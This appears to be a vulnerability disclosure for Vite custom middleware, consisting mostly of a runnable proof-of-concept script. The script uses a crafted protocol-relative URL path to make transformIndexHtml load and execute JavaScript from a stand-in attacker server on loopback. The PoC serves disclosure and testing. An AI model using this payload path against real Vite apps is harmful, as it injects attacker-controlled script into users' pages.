Vite: Cross origin script execution through Vite custom middleware

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}